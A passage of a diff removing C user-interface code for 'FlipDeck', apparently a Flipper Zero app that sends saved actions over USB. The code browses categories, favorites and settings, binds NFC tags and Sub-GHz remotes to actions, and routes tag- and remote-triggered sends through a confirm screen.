flipdeck_ui_handle_nfc_scan(void) { - FlipDeckApp* app = ui.app_ctx; - ui.current_view = FlipDeckView_NfcScan; - - if(!ui.nfc_scan_active) { - ui.nfc_tag_count = 0; - profile_manager_load_nfc_tags(ui.nfc_tags, &ui.nfc_tag_count); - ui.nfc_scan_status[0] = '\0'; - nfc_bridge_start_scan(); - ui.nfc_scan_active = true; - } - - char uid_hex[FLIPDECK_NFC_UID_HEX_LEN]; - if(nfc_bridge_poll_tag(uid_hex, sizeof(uid_hex))) { - // nfc_bridge_poll_tag() already stopped scanning on a successful read. - ui.nfc_scan_active = false; - - const FlipDeckNfcTag* tag = profile_manager_find_nfc_tag(ui.nfc_tags, ui.nfc_tag_count, uid_hex); - if(!tag) { - // Unknown tag: hand off to the category browser in binding mode - // to pick what it should map to. - ui.pending_bind.kind = FlipDeckBindKind_Nfc; - strncpy(ui.pending_bind.id_hex, uid_hex, sizeof(ui.pending_bind.id_hex) - 1); - ui.pending_bind.id_hex[sizeof(ui.pending_bind.id_hex) - 1] = '\0'; - app->current_category_index = 0; - app->state = FlipDeckState_CategoryBrowser; - } else if(flipdeck_ui_load_single_action( - &ui, tag->category_id, tag->label, "NFC Tag", FLIPDECK_NFC_TAG_ROW_ID)) { - // Known tag with a still-valid mapping: NFC-triggered sends - // always land on the confirm screen, regardless of - // confirm_before_send or the long-press quick-send shortcut - - // a tag's UID is trivially cloneable, so it's a weaker signal - // of intent than a person holding OK on a chosen list item. - app->state = FlipDeckState_SendConfirm; - } else { - // Mapping points at a category/action that no longer exists - // (e.g. the profile was edited since binding). Report and stay - // on this screen rather than silently re-arming or guessing. - snprintf(ui.nfc_scan_status, sizeof(ui.nfc_scan_status), "Mapped action missing"); - } - } - - view_port_update(ui.view_port); -} - -void flipdeck_ui_handle_subghz_scan(void) { - FlipDeckApp* app = ui.app_ctx; - ui.current_view = FlipDeckView_SubghzScan; - - if(!ui.subghz_scan_active) { - ui.subghz_remote_count = 0; - profile_manager_load_subghz_remotes(ui.subghz_remotes, &ui.subghz_remote_count); - ui.subghz_scan_status[0] = '\0'; - subghz_bridge_start_scan(); - ui.subghz_scan_active = true; - } - - char sig_hex[FLIPDECK_SUBGHZ_SIG_HEX_LEN]; - if(subghz_bridge_poll_signal(sig_hex, sizeof(sig_hex))) { - // subghz_bridge_poll_signal() already stopped scanning on a hit. - ui.subghz_scan_active = false; - - const FlipDeckSubghzRemote* remote = - profile_manager_find_subghz_remote(ui.subghz_remotes, ui.subghz_remote_count, sig_hex); - if(!remote) { - // Unknown signature: hand off to the category browser in - // binding mode, same as an unknown NFC tag. - ui.pending_bind.kind = FlipDeckBindKind_Subghz; - strncpy(ui.pending_bind.id_hex, sig_hex, sizeof(ui.pending_bind.id_hex) - 1); - ui.pending_bind.id_hex[sizeof(ui.pending_bind.id_hex) - 1] = '\0'; - app->current_category_index = 0; - app->state = FlipDeckState_CategoryBrowser; - } else if(flipdeck_ui_load_single_action( - &ui, - remote->category_id, - remote->label, - "Sub-GHz Remote", - FLIPDECK_SUBGHZ_REMOTE_ROW_ID)) { - // Known remote with a still-valid mapping: Sub-GHz-triggered - // sends also always land on the confirm screen - for an even - // stronger reason than NFC's UID-cloneability, since RF is - // receivable from across a room with zero physical contact - // with the device at all. - app->state = FlipDeckState_SendConfirm; - } else { - snprintf(ui.subghz_scan_status, sizeof(ui.subghz_scan_status), "Mapped action missing"); - } - } - - view_port_update(ui.view_port); -} - -static void flipdeck_ui_draw_callback(Canvas* canvas, void* context) { - FlipDeckUi* ui_ctx = context; - canvas_clear(canvas); - - switch(ui_ctx->current_view) { - case FlipDeckView_CategoryBrowser: - flipdeck_ui_draw_category_browser(canvas, ui_ctx); - break; - case FlipDeckView_ActionBrowser: - flipdeck_ui_draw_action_browser(canvas, ui_ctx); - break; - case FlipDeckView_NfcScan: - flipdeck_ui_draw_nfc_scan(canvas, ui_ctx); - break; - case FlipDeckView_SubghzScan: - flipdeck_ui_draw_subghz_scan(canvas, ui_ctx); - break; - case FlipDeckView_Confirm: - flipdeck_ui_draw_confirm(canvas, ui_ctx); - break; - case FlipDeckView_LongSnippetWarning: - flipdeck_ui_draw_long_snippet_warning(canvas, ui_ctx); - break; - case FlipDeckView_Settings: - flipdeck_ui_draw_settings(canvas, ui_ctx); - break; - } -} - -static void flipdeck_ui_input_callback(InputEvent* event, void* context) { - FlipDeckUi* ui_ctx = context; - - switch(ui_ctx->current_view) { - case FlipDeckView_CategoryBrowser: - flipdeck_ui_input_category_browser(ui_ctx, event); - break; - case FlipDeckView_ActionBrowser: - flipdeck_ui_input_action_browser(ui_ctx, event); - break; - case FlipDeckView_NfcScan: - flipdeck_ui_input_nfc_scan(ui_ctx, event); - break; - case FlipDeckView_SubghzScan: - flipdeck_ui_input_subghz_scan(ui_ctx, event); - break; - case FlipDeckView_Confirm: - flipdeck_ui_input_confirm(ui_ctx, event); - break; - case FlipDeckView_LongSnippetWarning: - flipdeck_ui_input_long_snippet_warning(ui_ctx, event); - break; - case FlipDeckView_Settings: - flipdeck_ui_input_settings(ui_ctx, event); - break; - } - - view_port_update(ui_ctx->view_port); -} - -static void flipdeck_ui_draw_header(Canvas* canvas, const char* title) { - canvas_set_font(canvas, FontPrimary); - canvas_draw_str(canvas, 0, 10, title); - canvas_draw_line(canvas, 0, 14, 128, 14); -} - -static uint32_t flipdeck_ui_scroll_offset_for_selection( - uint32_t selected_index, - uint32_t current_offset, - uint32_t total_count, - uint32_t visible_rows) { - if(total_count <= visible_rows) return 0; - if(selected_index < current_offset) return selected_index; - if(selected_index >= current_offset + visible_rows) { - return selected_index - visible_rows + 1; - } - return current_offset; -} - -// Whether a synthetic "Favorites" row is shown before the real categories. -static bool flipdeck_ui_has_favorites_row(FlipDeckApp* app) { - return app->settings.favorite_count > 0; -} - -// True while picking a category/action target for a freshly-detected -// unknown token from either trigger source (see flipdeck_ui_handle_nfc_scan -// / flipdeck_ui_handle_subghz_scan). -static bool flipdeck_ui_is_binding(FlipDeckUi* ui_ctx) { - return ui_ctx->pending_bind.kind != FlipDeckBindKind_None; -} - -// Layout of the synthetic rows shown before the real categories in the -// category browser: "* Favorites" (only when at least one favorite exists), -// "~ NFC Scan" (always present), "^ Sub-GHz Scan" (present unless the -// Sub-GHz bridge failed to initialize). All three are hidden while binding, -// since binding only wants a real category/action target, not another trip -// into Favorites or a second scan. -static void flipdeck_ui_category_rows( - FlipDeckUi* ui_ctx, bool* has_favorites_row_out, uint32_t* synthetic_offset_out) { - bool binding = flipdeck_ui_is_binding(ui_ctx); - bool has_favorites_row = !binding && flipdeck_ui_has_favorites_row(ui_ctx->app_ctx); - uint32_t nfc_row_count = binding ? 0 : 1; - uint32_t subghz_row_count = (!binding && ui_ctx->app_ctx->subghz_available) ? 1 : 0; - *has_favorites_row_out = has_favorites_row; - *synthetic_offset_out = (has_favorites_row ? 1 : 0) + nfc_row_count + subghz_row_count; -} - -static void flipdeck_ui_draw_category_browser(Canvas* canvas, FlipDeckUi* ui_ctx) { - FlipDeckApp* app = ui_ctx->app_ctx; - bool binding = flipdeck_ui_is_binding(ui_ctx); - flipdeck_ui_draw_header(canvas, binding ? "Bind Tag To..." : "FlipDeck"); - - canvas_set_font(canvas, FontSecondary); - if(!binding) canvas_draw_str(canvas, 92, 10, app->usb_connected ? "USB" : "NO USB"); - - bool has_favorites_row; - uint32_t synthetic_offset; - flipdeck_ui_category_rows(ui_ctx, &has_favorites_row, &synthetic_offset); - bool has_nfc_row = !binding; - bool has_subghz_row = !binding && app->subghz_available; - uint32_t nfc_row_index = has_favorites_row ? 1u : 0u; - uint32_t subghz_row_index = nfc_row_index + (has_nfc_row ? 1u : 0u); - uint32_t total_rows = app->category_count + synthetic_offset; - - ui_ctx->category_scroll_offset = flipdeck_ui_scroll_offset_for_selection( - app->current_category_index, - ui_ctx->category_scroll_offset, - total_rows, - 4); - - for(uint32_t row = 0; row < 4 && row + ui_ctx->category_scroll_offset < total_rows; row++) { - uint32_t i = row + ui_ctx->category_scroll_offset; - int32_t y = 26 + (row * 10); - if(i == app->current_category_index) { - elements_frame(canvas, 0, y - 8, 124, 10); - } - if(has_favorites_row && i == 0) { - char label[24]; - snprintf(label, sizeof(label), "* Favorites (%lu)", (unsigned long)app->settings.favorite_count); - canvas_draw_str(canvas, 5, y, label); - } else if(has_nfc_row && i == nfc_row_index) { - canvas_draw_str(canvas, 5, y, "~ NFC Scan"); - } else if(has_subghz_row && i == subghz_row_index) { - canvas_draw_str(canvas, 5, y, "^ Sub-GHz Scan"); - } else { - const char* cat_id = ui_ctx->category_ids[i - synthetic_offset]; - bool is_home = app->settings.startup_category[0] && - strcmp(app->settings.startup_category, cat_id) == 0; - char label[40]; - snprintf(label, sizeof(label), "%s%s", is_home ? "> " : "", cat_id); - canvas_draw_str(canvas, 5, y, label); - } - } - - if(total_rows > 4) { - char range[16]; - snprintf( - range, - sizeof(range), - "%lu/%lu", - (unsigned long)(app->current_category_index + 1), - (unsigned long)total_rows); - canvas_draw_str(canvas, 96, 62, range); - } - - if(binding) { - elements_button_left(canvas, "Cancel"); - elements_button_center(canvas, "Open"); - } else { - elements_button_center(canvas, "Open"); - elements_button_right(canvas, "Settings"); - } -} - -static void flipdeck_ui_draw_action_browser(Canvas* canvas, FlipDeckUi* ui_ctx) { - FlipDeckApp* app = ui_ctx->app_ctx; - - char title[96]; - if(app->settings.show_icons && ui_ctx->current_category.icon[0] != '\0') { - snprintf( - title, - sizeof(title), - "[%s] %s", - ui_ctx->current_category.icon, - ui_ctx->current_category.name); - } else { - strncpy(title, ui_ctx->current_category.name, sizeof(title) - 1); - title[sizeof(title) - 1] = '\0'; - } - flipdeck_ui_draw_header(canvas, title); - - canvas_set_font(canvas, FontSecondary); - ui_ctx->action_scroll_offset = flipdeck_ui_scroll_offset_for_selection( - app->selected_action_index, - ui_ctx->action_scroll_offset, - ui_ctx->current_category.action_count, - 4); - - for(uint32_t row = 0; row < 4 && row + ui_ctx->action_scroll_offset < ui_ctx->current_category.action_count; row++) { - uint32_t i = row + ui_ctx->action_scroll_offset; - int32_t y = 26 + (row * 10); - if(i == app->selected_action_index) { - elements_frame(canvas, 0, y - 8, 124, 10); - } - bool favorited = profile_manager_is_favorite( - &app->settings, ui_ctx->action_category_ids[i], ui_ctx->current_category.actions[i].label); - char line[68]; - snprintf(line, sizeof(line), "%s%s", favorited ? "*" : "", ui_ctx->current_category.actions[i].label); - canvas_draw_str(canvas, 5, y, line); - } - - // A pending send result takes over the footer as a transient toast; it is - // cleared on the next button press in the action browser input handler. - if(app->status_message[0] != '\0') { - canvas_set_color(canvas, ColorBlack); - canvas_draw_box(canvas, 0, 54, 128, 10); - canvas_set_color(canvas, ColorWhite); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str(canvas, 3, 62, app->status_message); - canvas_set_color(canvas, ColorBlack); - return; - } - - if(ui_ctx->current_category.action_count > 4) { - char range[16]; - snprintf( - range, - sizeof(range), - "%lu/%lu", - (unsigned long)(app->selected_action_index + 1), - (unsigned long)ui_ctx->current_category.action_count); - canvas_draw_str(canvas, 96, 62, range); - } - - elements_button_left(canvas, "Back"); - elements_button_center(canvas, "Send"); - elements_button_right(canvas, "Fav"); -} - -static void flipdeck_ui_draw_confirm(Canvas* canvas, FlipDeckUi* ui_ctx) { - FlipDeckAction* action = flipdeck_ui_get_selected_action(ui_ctx); - if(!action) { - ui_ctx->app_ctx->state = FlipDeckState_ActionBrowser; - return; - } - - flipdeck_ui_draw_header(canvas, "Send Command?"); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str(canvas, 5, 30, action->label); - canvas_draw_str(canvas, 5, 42, action->value); - elements_button_left(canvas, "Cancel"); - elements_button_center(canvas, "Send"); -} - -static void flipdeck_ui_draw_nfc_scan(Canvas* canvas, FlipDeckUi* ui_ctx) { - flipdeck_ui_draw_header(canvas, "NFC Scan"); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str(canvas, 5, 30, "Hold tag to the back"); - canvas_draw_str(canvas, 5, 40, "of the Flipper..."); - if(ui_ctx->nfc_scan_status[0]) { - canvas_draw_str(canvas, 5, 52, ui_ctx->nfc_scan_status); - } - elements_button_left(canvas, "Cancel"); -} - -static void flipdeck_ui_draw_subghz_scan(Canvas* canvas, FlipDeckUi* ui_ctx) { - flipdeck_ui_draw_header(canvas, "Sub-GHz Scan"); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str(canvas, 5, 30, "Press the remote's"); - canvas_draw_str(canvas, 5, 40, "button... (receive only)"); - if(ui_ctx->subghz_scan_status[0]) { - canvas_draw_str(canvas, 5, 52, ui_ctx->subghz_scan_status); - } - elements_button_left(canvas, "Cancel"); -} - -#define FLIPDECK_SETTINGS_COUNT 5 -#define FLIPDECK_SETTINGS_MAX_DELAY_MS 500 -#define FLIPDECK_SETTINGS_DELAY_STEP_MS 50 - -// Render one settings row as "Label: value" into out. -static void flipdeck_ui_settings_row_text(FlipDeckApp* app, uint32_t index, char* out, size_t out_size) { - switch(index) { - case 0: - snprintf(out, out_size, "Confirm send: %s", app->settings.confirm_before_send ? "On" : "Off"); - break; - case 1: - snprintf(out, out_size, "USB auto-check: %s", app->settings.auto_detect_usb ? "On" : "Off"); - break; - case 2: - snprintf(out, out_size, "Show icons: %s", app->settings.show_icons ? "On" : "Off"); - break; - case 3: - snprintf(out, out_size, "Show descr: %s", app->settings.show_descriptions ? "On" : "Off"); - break; - case 4: - snprintf(out, out_size, "Send delay: %lums", (unsigned long)app->settings.send_delay_ms); - break; - default: - out[0] = '\0'; - break; - } -} - -static void flipdeck_ui_draw_settings(Canvas* canvas, FlipDeckUi* ui_ctx) { - FlipDeckApp* app = ui_ctx->app_ctx; - flipdeck_ui_draw_header(canvas, "Settings"); - - canvas_set_font(canvas, FontSecondary); - if(ui_ctx->settings_index >= FLIPDECK_SETTINGS_COUNT) ui_ctx->settings_index = 0; - ui_ctx->settings_scroll_offset = flipdeck_ui_scroll_offset_for_selection( - ui_ctx->settings_index, ui_ctx->settings_scroll_offset, FLIPDECK_SETTINGS_COUNT, 4); - - for(uint32_t row = 0; row < 4 && row + ui_ctx->settings_scroll_offset < FLIPDECK_SETTINGS_COUNT; row++) { - uint32_t i = row + ui_ctx->settings_scroll_offset; - int32_t y = 26 + (row * 10); - if(i == ui_ctx->settings_index) { - elements_frame(canvas, 0, y - 8, 124, 10); - } - char line[40]; - flipdeck_ui_settings_row_text(app, i, line, sizeof(line)); - canvas_draw_str(canvas, 5, y, line); - } - - elements_button_left(canvas, "Save"); - elements_button_center(canvas, "Change"); -} - -static void flipdeck_ui_draw_long_snippet_warning(Canvas* canvas, FlipDeckUi* ui_ctx) { - FlipDeckAction* action = flipdeck_ui_get_selected_action(ui_ctx); - if(!action) { - ui_ctx->app_ctx->state = FlipDeckState_ActionBrowser; - return; - } - - flipdeck_ui_draw_header(canvas, "Long Snippet"); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str(canvas, 5, 30, action->label); - canvas_draw_str(canvas, 5, 42, "May take a while to send"); - elements_button_left(canvas, "Cancel"); - elements_button_center(canvas, "Send"); -} - -// Load category_ids[cat_index] into current_category and switch to the -// action browser. Shared by the category browser's OK handler and the -// startup-category auto-open path so both stay in sync. -static void flipdeck_ui_open_category(FlipDeckUi* ui_ctx, uint32_t cat_index) { - FlipDeckApp* app = ui_ctx->app_ctx; - profile_manager_load_category(ui_ctx->category_ids[cat_index], &ui_ctx->current_category); - strncpy(app->current_category_id, ui_ctx->category_ids[cat_index], 31); - app->current_category_id[31] = '\0'; - for(uint32_t i = 0; i < ui_ctx->current_category.action_count; i++) { - strncpy(ui_ctx->action_category_ids[i], app->current_category_id, 31); - ui_ctx->action_category_ids[i][31] = '\0'; - } - app->selected_action_index = 0; - ui_ctx->action_scroll_offset = 0; - app->state = FlipDeckState_ActionBrowser; -} - -// Long-press OK on a real category row (not the Favorites row) pins/unpins -// it as the startup category: on the next launch the app opens straight -// into it, skipping the category browser entirely. Pressing it again on the -// already-pinned category clears it. -static void flipdeck_ui_toggle_startup_category(FlipDeckUi* ui_ctx, uint32_t cat_index) { - FlipDeckApp* app = ui_ctx->app_ctx; - const char* id = ui_ctx->category_ids[cat_index]; - - if(strcmp(app->settings.startup_category, id) == 0) { - app->settings.startup_category[0] = '\0'; - } else { - strncpy(app->settings.startup_category, id, sizeof(app->settings.startup_category) - 1); - app->settings.startup_category[sizeof(app->settings.startup_category) - 1] = '\0'; - } - profile_manager_save_settings(&app->settings); -} - -static void flipdeck_ui_input_category_browser(FlipDeckUi* ui_ctx, InputEvent* event) { - FlipDeckApp* app = ui_ctx->app_ctx; - bool binding = flipdeck_ui_is_binding(ui_ctx); - - bool has_favorites_row; - uint32_t synthetic_offset; - flipdeck_ui_category_rows(ui_ctx, &has_favorites_row, &synthetic_offset); - bool has_nfc_row = !binding; - bool has_subghz_row = !binding && app->subghz_available; - uint32_t nfc_row_index = has_favorites_row ? 1u : 0u; - uint32_t subghz_row_index = nfc_row_index + (has_nfc_row ? 1u : 0u); - uint32_t total_rows = app->category_count + synthetic_offset; - - if(!binding && event->type == InputTypeLong && event->key == InputKeyOk) { - if(total_rows == 0) return; - if(app->current_category_index < synthetic_offset) return; // favorites/nfc rows can't be "home" - flipdeck_ui_toggle_startup_category(ui_ctx, app->current_category_index - synthetic_offset); - return; - } - - if(event->type != InputTypeShort) return; - - switch(event->key) { - case InputKeyUp: - if(app->current_category_index > 0) app->current_category_index--; - break; - case InputKeyDown: - if(app->current_category_index + 1 < total_rows) app->current_category_index++; - break; - case InputKeyOk: - if(total_rows == 0) break; - if(has_favorites_row && app->current_category_index == 0) { - flipdeck_ui_open_favorites(ui_ctx); - break; - } - if(has_nfc_row && app->current_category_index == nfc_row_index) { - app->state = FlipDeckState_NfcScan; - break; - } - if(has_subghz_row && app->current_category_index == subghz_row_index) { - app->state = FlipDeckState_SubghzScan; - break; - } - flipdeck_ui_open_category(ui_ctx, app->current_category_index - synthetic_offset); - break; - case InputKeyLeft: - if(binding) { - ui_ctx->pending_bind.kind = FlipDeckBindKind_None; - app->current_category_index = 0; - } - break; - case InputKeyRight: - if(!binding) app->state = FlipDeckState_Settings; - break; - default: - break; - } -} - -// Called once at startup. If a startup/"home" category is pinned and still -// exists, opens straight into it so the very first screen the user sees is -// its action list rather than the category browser. -bool flipdeck_ui_try_open_startup_category(void) { - FlipDeckApp* app = ui.app_ctx; - if(!app || app->settings.startup_category[0] == '\0') return false; - - for(uint32_t i = 0; i < app->category_count; i++) { - if(strcmp(ui.category_ids[i], app->settings.startup_category) != 0) continue; - flipdeck_ui_open_category(&ui, i); - bool has_favorites_row; - uint32_t synthetic_offset; - flipdeck_ui_category_rows(&ui, &has_favorites_row, &synthetic_offset); - app->current_category_index = i + synthetic_offset; - return true; - } - return false; -} - -// Flatten every currently-favorited action (which may span several -// categories) into a single synthetic category so the existing action -// browser / send flow can be reused unmodified. -static void flipdeck_ui_open_favorites(FlipDeckUi* ui_ctx) { - FlipDeckApp* app = ui_ctx->app_ctx; - - memset(&ui_ctx->current_category, 0, sizeof(ui_ctx->current_category)); - strncpy(ui_ctx->current_category.name, "Favorites", sizeof(ui_ctx->current_category.name) - 1); - strncpy(ui_ctx->current_category.id, FLIPDECK_FAVORITES_ROW_ID, sizeof(ui_ctx->current_category.id) - 1); - - // Scratch buffer for the source category of each favorite. Static: too - // large (~7KB) for the 4096-byte FAP stack, and this is only ever called - // from the single-threaded UI input path, so it's safe to reuse. - static FlipDeckProfileCategory scratch; - - for(uint32_t f = 0; f < app->settings.favorite_count; f++) { - FlipDeckFavorite* fav = &app->settings.favorites[f]; - if(!profile_manager_load_category(fav->category_id, &scratch)) continue; - - for(uint32_t a = 0; a < scratch.action_count; a++) { - if(strcmp(scratch.actions[a].label, fav->label) != 0) continue; - if(ui_ctx->current_category.action_count >= FLIPDECK_MAX_ACTIONS_PER_CATEGORY) break; - - uint32_t dest = ui_ctx->current_category.action_count; - ui_ctx->current_category.actions[dest] = scratch.actions[a]; - strncpy(ui_ctx->action_category_ids[dest], fav->category_id, 31); - ui_ctx->action_category_ids[dest][31] = '\0'; - ui_ctx->current_category.action_count++; - break; - } - } - - strncpy(app->current_category_id, FLIPDECK_FAVORITES_ROW_ID, 31); - app->current_category_id[31] = '\0'; - app->selected_action_index = 0; - ui_ctx->action_scroll_offset = 0; - app->state = FlipDeckState_ActionBrowser; -} - -// Load the single action (category_id, label) into current_category as a -// one-entry synthetic category, the same way flipdeck_ui_open_favorites -// flattens several - used when a known NFC tag or Sub-GHz remote resolves -// to an action, so the existing SendConfirm/send flow can be reused -// unmodified. synthetic_category_name/id let each trigger source label the -// resulting screen distinctly ("NFC Tag" vs "Sub-GHz Remote"). -// Returns false if the category or the labeled action no longer exists -// (e.g. the profile was edited/deleted since the mapping was bound). -static bool flipdeck_ui_load_single_action( - FlipDeckUi* ui_ctx, - const char* category_id, - const char* label, - const char* synthetic_category_name, - const char* synthetic_category_id) { - // Static for the same reason as open_favorites' scratch buffer. - static FlipDeckProfileCategory scratch; - if(!profile_manager_load_category(category_id, &scratch)) return false; - - for(uint32_t a = 0; a < scratch.action_count; a++) { - if(strcmp(scratch.actions[a].label, label) != 0) continue; - - memset(&ui_ctx->current_category, 0, sizeof(ui_ctx->current_category)); - strncpy( - ui_ctx->current_category.name, - synthetic_category_name, - sizeof(ui_ctx->current_category.name) - 1); - strncpy( - ui_ctx->current_category.id, - synthetic_category_id, - sizeof(ui_ctx->current_category.id) - 1); - ui_ctx->current_category.actions[0] = scratch.actions[a]; - ui_ctx->current_category.action_count = 1; - strncpy(ui_ctx->action_category_ids[0], category_id, 31); - ui_ctx->action_category_ids[0][31] = '\0'; - - strncpy(ui_ctx->app_ctx->current_category_id, category_id, 31); - ui_ctx->app_ctx->current_category_id[31] = '\0'; - ui_ctx->app_ctx->selected_action_index = 0; - ui_ctx->action_scroll_offset = 0; - return true; - } - return false; -} - -// Toggle the favorite status of the currently selected action and persist it. -// Works the same whether browsing a real category or the flattened -// Favorites list, since action_category_ids[] always tracks the true source. -static void flipdeck_ui_toggle_favorite(FlipDeckUi* ui_ctx) { - FlipDeckApp* app = ui_ctx->app_ctx; - uint32_t index = app->selected_action_index; - FlipDeckAction* action = flipdeck_ui_get_selected_action(ui_ctx); - if(!action) return; - - bool now_favorited = profile_manager_toggle_favorite( - &app->settings, ui_ctx->action_category_ids[index], action->label); - profile_manager_save_settings(&app->settings); - snprintf( - app->status_message, - sizeof(app->status_message), - now_favorited ? "Added to favorites" : "Removed from favorites"); -} - -// Finish binding: write (pending_bind.id_hex -> selected action) as a new -// mapping in whichever list pending_bind.kind selects, persist it, and -// re-arm that trigger's scan screen so several tokens can be bound in one -// sitting. -static void flipdeck_ui_bind_selected_action(FlipDeckUi* ui_ctx) { - FlipDeckApp* app = ui_ctx->app_ctx; - FlipDeckAction* action = flipdeck_ui_get_selected_action(ui_ctx); - if(!action) return; - - if(ui_ctx->pending_bind.kind == FlipDeckBindKind_Nfc) { - if(ui_ctx->nfc_tag_count >= FLIPDECK_MAX_NFC_TAGS) { - snprintf(app->status_message, sizeof(app->status_message), "NFC tag list full"); - } else { - FlipDeckNfcTag* tag = &ui_ctx->nfc_tags[ui_ctx->nfc_tag_count]; - strncpy(tag->uid_hex, ui_ctx->pending_bind.id_hex, sizeof(tag->uid_hex) - 1); - tag->uid_hex[sizeof(tag->uid_hex) - 1] = '\0'; - strncpy(tag->category_id, app->current_category_id, sizeof(tag->category_id) - 1); - tag->category_id[sizeof(tag->category_id) - 1] = '\0'; - strncpy(tag->label, action->label, sizeof(tag->label) - 1); - tag->label[sizeof(tag->label) - 1] = '\0'; - ui_ctx->nfc_tag_count++; - profile_manager_save_nfc_tags(ui_ctx->nfc_tags, ui_ctx->nfc_tag_count); - snprintf(ui_ctx->nfc_scan_status, sizeof(ui_ctx->nfc_scan_status), "Tag bound!"); - } - app->state = FlipDeckState_NfcScan; - } else if(ui_ctx->pending_bind.kind == FlipDeckBindKind_Subghz) { - if(ui_ctx->subghz_remote_count >= FLIPDECK_MAX_SUBGHZ_REMOTES) { - snprintf(app->status_message, sizeof(app->status_message), "Sub-GHz list full"); - } else { - FlipDeckSubghzRemote* remote = &ui_ctx->subghz_remotes[ui_ctx->subghz_remote_count]; - strncpy(remote->signature_hex, ui_ctx->pending_bind.id_hex, sizeof(remote->signature_hex) - 1); - remote->signature_hex[sizeof(remote->signature_hex) - 1] = '\0'; - strncpy(remote->category_id, app->current_category_id, sizeof(remote->category_id) - 1); - remote->category_id[sizeof(remote->category_id) - 1] = '\0'; - strncpy(remote->label, action->label, sizeof(remote->label) - 1); - remote->label[sizeof(remote->label) - 1] = '\0'; - ui_ctx->subghz_remote_count++; - profile_manager_save_subghz_remotes(ui_ctx->subghz_remotes, ui_ctx->subghz_remote_count); - snprintf(ui_ctx->subghz_scan_status, sizeof(ui_ctx->subghz_scan_status), "Remote bound!"); - } - app->state = FlipDeckState_SubghzScan; - } - - ui_ctx->pending_bind.kind = FlipDeckBindKind_None; - app->current_category_index = 0; -} - -static void flipdeck_ui_input_action_browser(FlipDeckUi* ui_ctx, InputEvent* event) { - FlipDeckApp* app = ui_ctx->app_ctx; - bool binding = flipdeck_ui_is_binding(ui_ctx); - - // Long-press OK is a quick-send shortcut: it skips the separate confirm - // screen entirely (safety validation in flipdeck_ui_send_action still - // applies). Short-press OK below still respects confirm_before_send. - // Disabled while binding an NFC tag - OK there means "bind to this - // action", not "send it". - if(!binding && event->type == InputTypeLong && event->key == InputKeyOk) { - app->status_message[0] = '\0'; - FlipDeckAction* action = flipdeck_ui_get_selected_action(ui_ctx); - if(action) flipdeck_ui_send_action(ui_ctx, action); - return; - } - - if(event->type != InputTypeShort) return; - - // Dismiss any lingering send-result toast on the next interaction. A new - // send below re-sets it. - app->status_message[0] = '\0'; - - uint32_t action_count = ui_ctx->current_category.action_count; - if(action_count == 0 && event->key != InputKeyBack) return; - - switch(event->key) { - case InputKeyUp: - if(app->selected_action_index > 0) app->selected_action_index--; - break; - case InputKeyDown: - if(app->selected_action_index + 1 < action_count) app->selected_action_index++; - break; - case InputKeyOk: - if(binding) { - flipdeck_ui_bind_selected_action(ui_ctx); - break; - } - { - FlipDeckAction* action = flipdeck_ui_get_selected_action(ui_ctx); - if(!action) break; - if(action->confirm || app->settings.confirm_before_send) { - app->state = FlipDeckState_SendConfirm; - } else { - flipdeck_ui_send_action(ui_ctx, action); - } - } - break; - case InputKeyRight: - if(!binding) flipdeck_ui_toggle_favorite(ui_ctx); - break; - case InputKeyBack: - if(binding) ui_ctx->pending_bind.kind = FlipDeckBindKind_None; - app->state = FlipDeckState_CategoryBrowser; - app->selected_action_index = 0; - ui_ctx->action_scroll_offset = 0; - break; - default: - break; - } -} - -static void flipdeck_ui_input_confirm(FlipDeckUi* ui_ctx, InputEvent* event) { - FlipDeckApp* app = ui_ctx->app_ctx; - if(event->type != InputTypeShort) return; - - switch(event->key) { - case InputKeyOk: - flipdeck_ui_send_action(ui_ctx, flipdeck_ui_get_selected_action(ui_ctx)); - app->state = FlipDeckState_ActionBrowser; - break; - case InputKeyBack: - app->state = FlipDeckState_ActionBrowser; - break; - default: - break; - } -} - -static void flipdeck_ui_input_nfc_scan(FlipDeckUi* ui_ctx, InputEvent* event) { - if(event->type != InputTypeShort) return; - if(event->key != InputKeyBack) return; - - nfc_bridge_stop_scan(); - ui_ctx->nfc_scan_active = false; - ui_ctx->nfc_scan_status[0] = '\0'; - ui_ctx->app_ctx->state = FlipDeckState_CategoryBrowser; -} - -static void flipdeck_ui_input_subghz_scan(FlipDeckUi* ui_ctx, InputEvent* event) { - if(event->type != InputTypeShort) return; - if(event->key != InputKeyBack) return; - - subghz_bridge_stop_scan(); - ui_ctx->subghz_scan_active = false; - ui_ctx->subghz_scan_status[0] = '\0'; - ui_ctx->app_ctx->state = FlipDeckState_CategoryBrowser; -} - -// Toggle a boolean setting, or step the send delay. Left decreases the delay, -// any other adjust key (OK/Right) increases it; bools just flip. -static void flipdeck_ui_settings_adjust(FlipDeckApp* app, uint32_t index, InputKey key) { - switch(index) { - case 0: - app->settings.confirm_before_send = !app->settings.confirm_before_send; - break; - case 1: - app->settings.auto_detect_usb = !app->settings.auto_detect_usb; - break; - case 2: - app->settings.show_icons = !app->settings.show_icons; - break; - case 3: - app->settings.show_descriptions = !app->settings.show_descriptions; - break; - case 4: { - uint32_t delay = app->settings.send_delay_ms; - if(key == InputKeyLeft) { - delay = (delay >= FLIPDECK_SETTINGS_DELAY_STEP_MS) - ? delay - FLIPDECK_SETTINGS_DELAY_STEP_MS : 0; - } else { - delay = (delay + FLIPDECK_SETTINGS_DELAY_STEP_MS <= FLIPDECK_SETTINGS_MAX_DELAY_MS) - ? delay + FLIPDECK_SETTINGS_DELAY_STEP_MS : FLIPDECK_SETTINGS_MAX_DELAY_MS; - } - app->settings.send_delay_ms = delay; - break; - } - default: - break; - } -} - -static void flipdeck_ui_input_settings(FlipDeckUi* ui_ctx, InputEvent* event) { - FlipDeckApp* app = ui_ctx->app_ctx; - if(event->type != InputTypeShort) return; - - switch(event->key) { - case InputKeyUp: - if(ui_ctx->settings_index > 0) ui_ctx->settings_index--; - break; - case InputKeyDown: - if(ui_ctx->settings_index + 1 < FLIPDECK_SETTINGS_COUNT) ui_ctx->settings_index++; - break; - case InputKeyOk: - case InputKeyLeft: - case InputKeyRight: - flipdeck_ui_settings_adjust(app, ui_ctx->settings_index, event->key); - break; - case InputKeyBack: - // Persist on the way out so toggled settings survive a relaunch. - profile_manager_save_settings(&app->settings); - app->state = FlipDeckState_CategoryBrowser; - break; - default: - break; - } -} - -static void flipdeck_ui_input_long_snippet_warning(FlipDeckUi* 